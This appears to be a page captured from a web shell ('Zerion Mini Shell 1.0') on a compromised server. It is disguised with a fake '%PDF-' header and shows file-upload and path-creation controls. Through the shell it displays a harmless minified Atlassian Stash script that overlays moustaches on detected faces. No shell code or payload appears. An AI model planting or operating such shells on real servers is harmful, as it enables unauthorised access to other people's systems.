%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/old/home/stash/atlassian/stash/3.7.1/atlassian-stash/static/feature/moustash/
Upload File :
Create Path :
Current File : //data/old/home/stash/atlassian/stash/3.7.1/atlassian-stash/static/feature/moustash/moustash-min.js

define("feature/moustash",["aui","jquery","lodash","exports"],function(H,C,J,B){var G=false;var L;var D={MIN_CANVAS_WIDTH:0.1,M_F_WIDTH:0.9,M_F_HEIGHT:0.2,M_F_LEFT:0.05,M_F_TOP:0.675};function E(){var M="com.atlassian.stash.stash-web-plugin:face-detection";return WRM.require("wr!"+M)}function A(){var M=C.Deferred();L=new Image();L.onload=function(){M.resolve()};L.src=H.contextPath()+"/s/1/_/download/resources/com.atlassian.stash.stash-web-plugin:moustash/moustash.png";return M}function K(){return C.when(E(),A()).done(function(){G=true})}function F(){return G}function I(P){if(!F()){throw new Error("Face-detection resources not loaded yet")}var O=require("lib/ccv/ccv");var Q=require("lib/ccv/face-cascade");var M=O.detect_objects({canvas:P,cascade:Q,interval:5,min_neighbors:1});var N=P.getContext("2d");J.each(M,J.bind(function(U){if(U.width/P.width>D.MIN_CANVAS_WIDTH){var V=U.y+U.height*D.M_F_TOP;var S=U.x+U.width*D.M_F_LEFT;var T=U.width*D.M_F_WIDTH;var R=U.height*D.M_F_HEIGHT;N.drawImage(L,S,V,T,R)}}))}B.loadResources=J.once(K);B.isReady=F;B.addToFaces=I});

Zerion Mini Shell 1.0